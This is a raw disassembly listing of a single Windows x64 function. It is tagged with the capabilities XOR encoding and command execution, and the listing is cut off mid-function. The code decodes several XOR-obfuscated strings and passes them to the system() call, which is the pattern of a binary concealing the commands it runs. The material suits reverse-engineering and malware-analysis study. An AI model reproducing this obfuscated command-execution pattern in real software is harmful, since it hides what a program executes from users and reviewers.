Function at 0x140063130
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rax - 0x628]
sub rsp, 0x710
movaps xmmword [rax - 0x28], xmm6
xor ebx, ebx
movups xmm0, xmmword [0x1400f4608]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f4618]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x1400f4628]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x1400f4638]
mov word [rsp + 0x70], ax
mov r8d, ebx
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp r14d, 2
jl 0x1400632d5
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400631d0
cmp r8d, 0x32
jge 0x140063310
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400632e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rax, [rsp + 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], bl
jne 0x140063330
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1400045d0
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14006339f
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006339a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006339a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp + 0x558]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x1400633d3
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x438]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f3c98]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f3ca8]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f3cb8]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f3cc0]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140063555
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140063450
cmp r8d, 0x2a
jge 0x140063590
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140063560
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x418]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x1400635b0
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x38]
call fcn.1400736e0
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rcx, qword [rbp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140063653
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006364e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006364e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400636a5
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006369f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006369f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x430]
cmp rdx, 0xf
jbe 0x1400636e9
inc rdx
mov rcx, qword [rbp + 0x418]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400636e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400636e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x428], xmm0
mov byte [rbp + 0x418], 0
mov rdx, qword [rbp + 0x450]
cmp rdx, 0xf
jbe 0x140063744
inc rdx
mov rcx, qword [rbp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006373f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006373f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x448], xmm0
mov byte [rbp + 0x438], 0
mov rdx, qword [rbp + 0x570]
cmp rdx, 0xf
jbe 0x14006379f
inc rdx
mov rcx, qword [rbp + 0x558]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006379a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006379a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp + 0x538]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x1400637d3
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x478]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f2ee0]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f2ef0]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f2f00]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f2f08]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140063955
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140063850
cmp r8d, 0x2a
jge 0x140063990
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140063960
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x458]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x1400639b0
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x58]
call fcn.1400736e0
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rcx, qword [rbp + 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x140063a53
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063a4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063a4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x68], xmm0
mov byte [rbp + 0x58], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140063aa5
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063a9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063a9f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x470]
cmp rdx, 0xf
jbe 0x140063ae9
inc rdx
mov rcx, qword [rbp + 0x458]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063ae4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063ae4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x468], xmm0
mov byte [rbp + 0x458], 0
mov rdx, qword [rbp + 0x490]
cmp rdx, 0xf
jbe 0x140063b44
inc rdx
mov rcx, qword [rbp + 0x478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063b3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063b3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x488], xmm0
mov byte [rbp + 0x478], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x140063b9f
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063b9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063b9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp + 0x518]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x140063bd3
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x4b8]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f2f70]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f2f80]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f2f90]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f2f98]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140063d55
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140063c50
cmp r8d, 0x2a
jge 0x140063d90
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140063d60
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x498]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140063db0
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x78]
call fcn.1400736e0
lea rcx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rcx, qword [rbp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x140063e59
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063e54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063e54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x88], xmm0
mov byte [rbp + 0x78], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140063eae
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063ea8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063ea8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x140063ef2
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063eed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063eed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x4a8], xmm0
mov byte [rbp + 0x498], 0
mov rdx, qword [rbp + 0x4d0]
cmp rdx, 0xf
jbe 0x140063f4d
inc rdx
mov rcx, qword [rbp + 0x4b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063f48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063f48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x4c8], xmm0
mov byte [rbp + 0x4b8], 0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x140063fa8
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063fa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063fa3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
lea rcx, [rbp + 0x578]
call fcn.14005ca60
mov rsi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x140063fdc
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp + 0x1f8]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f3928]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400f3938]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1400f3948]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400f3950]
mov word [rsp + 0x68], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140064165
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140064060
cmp r8d, 0x2a
jge 0x1400641a0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140064170
mov r8, r10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1d8]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
mov r8, rdi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x1400641c0
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x98]
call fcn.1400736e0
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova rcx, qword [rbp + 0x98]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x140064275
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064270
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140064270
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0xa8], xmm0
mov byte [rbp + 0x98], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400642cd
inc rdx
